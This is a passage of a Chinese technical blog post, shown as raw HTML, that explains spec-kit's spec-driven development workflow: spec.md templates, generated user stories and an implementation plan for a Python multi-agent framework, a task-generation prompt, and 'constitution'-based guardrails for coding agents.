class="code-snippet__strong">**为何为此优先级**</span>：[解释其价值以及为何具有此优先级级别]</span></code><br/><code><span leaf=""><span class="code-snippet__strong">**独立测试**</span>：[描述如何可以独立测试此项]</span></code><br/><code><span leaf=""><span class="code-snippet__strong">**验收场景**</span>：</span></code><br/><code><span leaf=""><span class="code-snippet__section">1.</span><span class="code-snippet__section"><span class="code-snippet__strong">**假设**</span></span><span class="code-snippet__section">[初始状态]，</span><span class="code-snippet__section"><span class="code-snippet__strong">**当**</span></span><span class="code-snippet__section">[动作]，</span><span class="code-snippet__section"><span class="code-snippet__strong">**那么**</span></span><span class="code-snippet__section">[预期结果]</span></span></code><br/><code><span leaf="">---</span></code><br/><code><span leaf="">[根据需要添加更多用户故事，每个用户故事应分配一个优先级]</span></code><br/><code><span leaf=""><span class="code-snippet__section">###边缘情况</span></span></code><br/><code><span leaf="">&lt;!--</span></code><br/><code><span leaf="">需要操作：本节内容为占位符。</span></code><br/><code><span leaf="">用正确的边界情况来填充它们。</span></code><br/><code><span leaf="">--&gt;</span></code><br/><code><span leaf="">-当[边界条件]发生时会怎样？</span></code><br/><code><span leaf="">-系统如何处理[错误场景]？</span></code><br/><code><span leaf=""><span class="code-snippet__section">##要求</span></span></code><br/><code><span leaf=""><span class="code-snippet__emphasis">*(必填)*</span></span></code><br/><code><span leaf="">&lt;!--</span></code><br/><code><span leaf="">需要操作：本节内容为占位符。</span></code><br/><code><span leaf="">请用正确的功能性需求来填充这些内容。</span></code><br/><code><span leaf="">--&gt;</span></code><br/><code><span leaf=""><span class="code-snippet__section">###功能性需求</span></span></code><br/><code><span leaf="">-**FR-001**：系统必须[具体功能，例如，“允许用户创建账户”]</span></code><br/><code><span leaf="">-**FR-002**：系统必须[具体功能，例如，“验证电子邮件地址”]</span></code><br/><code><span leaf="">-**FR-003**：用户必须能够[关键交互，例如，“重置他们的密码”]</span></code><br/><code><span leaf="">-**FR-004**：系统必须[数据要求，例如，“持久化用户偏好”]</span></code><br/><code><span leaf="">-**FR-005**：系统必须[行为，例如，“记录所有安全事件”]</span></code><br/><code><span leaf=""><span class="code-snippet__emphasis">*示例：标记不清晰的需求*</span></span></code><br/><code><span leaf="">-**FR-006**：系统必须通过[需澄清：未指定认证方式——电子邮件/密码、单点登录、OAuth？]对用户进行身份验证</span></code><br/><code><span leaf="">-**FR-007**：系统必须保留用户数据[需澄清：未指定保留期限]</span></code><br/><code><span leaf=""><span class="code-snippet__section">###关键实体</span></span></code><br/><code><span leaf=""><span class="code-snippet__emphasis">*(如果功能涉及数据则包含)*</span></span></code><br/><code><span leaf="">-**[Entity1]**：[它代表什么，关键属性（不含实现细节）]</span></code><br/><code><span leaf="">-**[Entity2]**：[它所代表的内容，与其他实体的关系]</span></code><br/><code><span leaf=""><span class="code-snippet__section">##成功标准</span></span></code><br/><code><span leaf=""><span class="code-snippet__emphasis">*（必填）*</span></span></code><br/><code><span leaf="">&lt;!--</span></code><br/><code><span leaf="">需要采取的行动：定义可衡量的成功标准。--&gt;</span></code><br/><code><span leaf="">这些必须与技术无关且可测量。</span></code><br/><code><span leaf="">--&gt;</span></code><br/><code><span leaf=""><span class="code-snippet__section">###可衡量的结果</span></span></code><br/><code><span leaf="">-**SC-001**：［可衡量的指标，例如，“用户可在2分钟内完成账户创建”］</span></code><br/><code><span leaf="">-**SC-002**：[可衡量指标，例如，“系统在不降级的情况下处理1000名并发用户”]</span></code><br/><code><span leaf="">-**SC-003**：[用户满意度指标，例如，“90%的用户在第一次尝试时成功完成主要任务”]</span></code><br/><code><span leaf="">-**SC-004**：[业务指标，例如，“将与[X]相关的支持工单减少50%”]</span></code><br/></pre></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">最终生成的部分spec.md内容,在内容中有对应故事名称、优先级、验证标准等，所以通俗的来说阶段一是将我们输入的初始需求拆解成多个模块</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 700;"><span leaf="">并且当生成spec.md过程中spec-kit还通过使用</span></strong><span leaf=""><span textstyle="" style="color: rgb(255, 104, 39);font-weight: bold;">[NEEDSCLARIFICATION]</span></span><strong style="box-sizing: border-box;font-weight: 700;"><span leaf="">标志符，来让用户澄清对应的内容，从而避免Agent理解的偏差</span></strong></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">下面是最终生成的部分内容</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="markdown"><code><span leaf=""><span class="code-snippet__section">###用户故事2</span></span></code><br/><code><span leaf="">-上下文管理与共享（优先级：P1）</span></code><br/><code><span leaf="">代理需要维护各自的上下文和记忆，同时能够与其他代理共享相关信息。上下文必须使用文件系统在会话之间持久保存。</span></code><br/><code><span leaf=""><span class="code-snippet__strong">**为什么优先**</span>：核心需求——明确指出处理上下文和记忆信息的能力为必需。</span></code><br/><code><span leaf=""><span class="code-snippet__strong">**独立测试**</span>：可以通过让代理进行对话、持久化其上下文，并在框架重启后验证记忆检索来进行完整测试。</span></code><br/><code><span leaf=""><span class="code-snippet__strong">**验收场景**</span>：</span></code><br/><code><span leaf="">1.<span class="code-snippet__strong">**前提**</span>代理有先前的对话上下文，<span class="code-snippet__strong">**当**</span>代理处理新消息时，<span class="code-snippet__strong">**则**</span>代理使用已存储的记忆保持上下文连续性</span></code><br/><code><span leaf=""><span class="code-snippet__section">2.</span><span class="code-snippet__section"><span class="code-snippet__strong">**前提**</span></span><span class="code-snippet__section">多个代理在一个共享任务上工作，</span><span class="code-snippet__section"><span class="code-snippet__strong">**当**</span></span><span class="code-snippet__section">一名代理更新任务上下文时，</span><span class="code-snippet__section"><span class="code-snippet__strong">**则**</span></span><span class="code-snippet__section">其他代理可以通过文件系统访问更新后的上下文</span></span></code><br/><code><span leaf="">---</span></code><br/></pre></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 700;"><span leaf="">阶段二：基于模块信息设计对应的记录框架和路线</span></strong></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">后面的逻辑其实都是类似的，也是通过prompt+template的方式来进行拆解，这里就不过多阐述了</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">部分摘要</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="markdown"><code><span leaf=""><span class="code-snippet__section">#实施计划</span></span></code><br/><code><span leaf="">：多代理框架</span></code><br/><code><span leaf=""><span class="code-snippet__strong">**分支**</span>：<span class="code-snippet__code">`001-multi-agent-framework`</span>|<span class="code-snippet__strong">**日期**</span>：2025-12-15|<span class="code-snippet__strong">**规范**</span>：[<span class="code-snippet__string">spec.md</span>](<span class="code-snippet__link">spec.md</span>)</span></code><br/><code><span leaf=""><span class="code-snippet__strong">**输入**</span>：来自<span class="code-snippet__code">`/specs/001-multi-agent-framework/spec.md`</span>的功能规范</span></code><br/><code><span leaf=""><span class="code-snippet__strong">**注意**</span>：此模板由<span class="code-snippet__code">`/speckit.plan`</span>命令填充。有关执行工作流，请参见<span class="code-snippet__code">`.specify/templates/commands/plan.md`</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">##概要</span></span></code><br/><code><span leaf="">在Python中创建一个通用的多代理框架，使用基于文件系统的上下文和记忆管理。该框架将支持最多100个并发代理，具有各自的上下文存储、代理间通信、记忆持久化和任务协调能力。所有上下文和记忆信息将使用文件系统存储，而不是数据库。</span></code><br/><code><span leaf=""><span class="code-snippet__section">##技术背景</span></span></code><br/><code><span leaf=""><span class="code-snippet__strong">**语言/版本**</span>：Python3.11+</span></code><br/><code><span leaf=""><span class="code-snippet__strong">**主要依赖**</span>：asyncio、aiofiles、pydantic、watchdog</span></code><br/><code><span leaf=""><span class="code-snippet__strong">**存储**</span>：使用 JSON/YAML 的文件系统和结构化目录</span></code><br/><code><span leaf=""><span class="code-snippet__strong">**测试**</span>：pytest、pytest-asyncio、pytest-mock</span></code><br/><code><span leaf=""><span class="code-snippet__strong">**目标平台**</span>：Linux/macOS/Windows服务器</span></code><br/><code><span leaf=""><span class="code-snippet__strong">**项目类型**</span>：带有命令行界面的单个Python包</span></code><br/><code><span leaf=""><span class="code-snippet__strong">**性能目标**</span>：100个并发代理，99.9%的消息传递延迟&lt;100ms，内存检索&lt;500ms</span></code><br/><code><span leaf=""><span class="code-snippet__strong">**约束**</span>：仅使用基于文件系统的存储，不使用外部数据库，安全处理并发文件访问</span></code><br/><code><span leaf=""><span class="code-snippet__strong">**规模/范围**</span>：100个并发代理，每个代理10,000条记忆条目，1000+并发文件操作</span></code><br/></pre></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 700;"><span leaf="">阶段三：基于模块（story）生成对应的具体可执行任务</span></strong></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在第三阶段中将先前的信息都作为上下文进行读取，并最终构建各个阶段，并且在每个阶段下定义最小化的执行任务，核心prompt如下</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">先前所有的操作都直接操作文档，所以可以看到下面的prompt中直接让agent去加载了文件，这样其实也能进行上下文的节省</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf="">1.**设置**：在仓库根目录运行`.specify/scripts/bash/check-prerequisites.sh --json`并解析 FEATURE_DIR 和 AVAILABLE_DOCS 列表。所有路径必须为绝对路径。对于参数中包含单引号的情况，比如<span class="code-snippet__string">&#34;I&#39;m Groot&#34;</span>，请使用转义语法：例如<span class="code-snippet__string">&#39;I&#39;</span>\&#39;<span class="code-snippet__string">&#39;m Groot&#39;</span>（如果可能也可用双引号：<span class="code-snippet__string">&#34;I&#39;m Groot&#34;</span>）。</span></code><br/><code><span leaf=""><span class="code-snippet__comment">#</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment">#用户输入</span></span></code><br/><code><span leaf="">2.**加载设计文档**：从 FEATURE_DIR 读取：</span></code><br/><code><span leaf="">```text</span></code><br/><code><span leaf=""><span class="code-snippet__variable">$ARGUMENTS</span></span></code><br/><code><span leaf="">```</span></code><br/><code><span leaf="">—**必需**：plan.md（技术栈、库、结构）、spec.md（带优先级的用户故事）</span></code><br/><code><span leaf="">您在继续之前**必须**考虑用户输入（如果不为空）。</span></code><br/><code><span leaf="">—**可选**：data-model.md（实体）、contracts/（API 端点）、research.md（决策）、quickstart.md（测试场景）</span></code><br/><code><span leaf=""><span class="code-snippet__comment">#</span></span></code><br/><code><span leaf=""><span class="code-snippet__comment">#大纲</span></span></code><br/><code><span leaf="">—注意：并非所有项目都包含所有文档。请根据可用内容生成任务。</span></code><br/><code><span leaf="">3.**执行任务生成工作流**：</span></code><br/><code><span leaf="">—加载 plan.md 并提取技术栈、库、项目结构</span></code><br/><code><span leaf="">—加载 spec.md 并提取带有优先级的用户故事（P1、P2、P3 等）</span></code><br/><code><span leaf="">—如果存在 data-model.md：提取实体并映射为用户故事</span></code><br/><code><span leaf="">—如果存在 contracts/：将端点映射为用户故事</span></code><br/><code><span leaf="">—如果存在 research.md：为设置任务提取决策</span></code><br/><code><span leaf="">—按用户故事生成任务（见下方的任务生成规则）</span></code><br/><code><span leaf="">—生成显示用户故事完成顺序的依赖图</span></code><br/><code><span leaf="">—为每个用户故事创建并行执行示例</span></code><br/><code><span leaf="">—验证任务完整性（每个用户故事都具有所有所需任务，且可独立测试）</span></code><br/><code><span leaf="">4.**生成 tasks.md**：使用`.specify/templates/tasks-template.md`作为结构，填写内容：</span></code><br/><code><span leaf="">—更正 plan.md 中的功能名称</span></code><br/><code><span leaf="">—第1阶段：设置任务（项目初始化）</span></code><br/><code><span leaf="">—第2阶段：基础任务（阻塞所有用户故事的前置条件）</span></code><br/><code><span leaf="">—第3阶段及以后：每个用户故事一个阶段（按照 spec.md 中的优先级顺序）</span></code><br/><code><span leaf="">-每个阶段包括：故事目标、独立测试标准、测试（如有要求）、实现任务</span></code><br/><code><span leaf="">-最终阶段：完善与跨领域关注点</span></code><br/><code><span leaf="">-所有任务必须遵循严格的清单格式（见下方任务生成规则）</span></code><br/><code><span leaf="">-为每个任务提供明确的文件路径</span></code><br/><code><span leaf="">-显示故事完成顺序的依赖关系部分</span></code><br/><code><span leaf="">-每个故事的并行执行示例</span></code><br/><code><span leaf="">-实施策略部分（先最小可行产品，逐步交付）</span></code><br/><code><span leaf="">5.**报告**：输出生成的 tasks.md 的路径和摘要</span></code><br/><code><span leaf="">-总任务数量</span></code><br/><code><span leaf="">-每个用户故事的任务数量</span></code><br/><code><span leaf="">-识别的并行机会</span></code><br/><code><span leaf="">-每个故事的独立测试标准</span></code><br/><code><span leaf="">-建议的最小可行产品范围（通常仅限用户故事1）</span></code><br/><code><span leaf="">-格式验证：确认所有任务都遵循清单格式（复选框、ID、标签、文件路径）</span></code><br/><code><span leaf="">任务生成的上下文：<span class="code-snippet__variable">$ARGUMENTS</span></span></code><br/><code><span leaf="">tasks.md 应当可以立即执行——每个任务必须足够具体，以便 LLM 在无需额外上下文的情况下完成。</span></code><br/></pre></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">拆分后的具体任务，并且每个都有完成的标准</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031675" alt="image.png" class="rich_pages wxw-img" data-ratio="0.3248898678414097" data-type="png" data-w="1816" style="box-sizing: border-box;vertical-align: middle;border: 0px;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=aa60e47d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzib8DYyecJU84D6eABLgLUyW0abAu3b2iaBl29JmmM4YGFZiajlzlMbjsA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 style="box-sizing: border-box;margin-top: 1em;margin-bottom: 16px;font-weight: 700;line-height: 1.43;font-size: 1.5em;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">3.2 Question2:AI执行结果可预测</span></h3><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这里的整体逻辑主要是给AI设置各种护栏和标准，我在阅读这个项目的时候就尝试在想，spec-kit这个项目是如何让整体的执行流程符合预期的</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">其实最核心的就是在执行的过程中我们需要有很多阶段、任务执行成功与否的判定标准，以及告诉agent有哪些是不能做的。</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在spec-kit中在最上游定义了宪法.md通过引入了多条准则，通过以法令的约束来禁止agent执行额外的操作</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在一开始执行初期就会构建宪法</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031678" alt="image.png" class="rich_pages wxw-img" data-ratio="1.0031914893617022" data-type="png" data-w="1880" style="box-sizing: border-box;vertical-align: middle;border: 0px;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=ba12d952&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzpxIydSXvqnFRLmBstLgCCBDOE32leEPOR6owiaewYfw7C4nL5bwqib4w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(51, 51, 51);font-family: &#34;Microsoft YaHei&#34;, Helvetica, &#34;Meiryo UI&#34;, &#34;Malgun Gothic&#34;, &#34;Segoe UI&#34;, &#34;Trebuchet MS&#34;, Monaco, monospace, Tahoma, STXihei, 华文细黑, STHeiti, &#34;Helvetica Neue&#34;, &#34;Droid Sans&#34;, &#34;wenquanyi micro hei&#34;, FreeSans, Arimo, Arial, SimSun, 宋体, Heiti, 黑体, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: 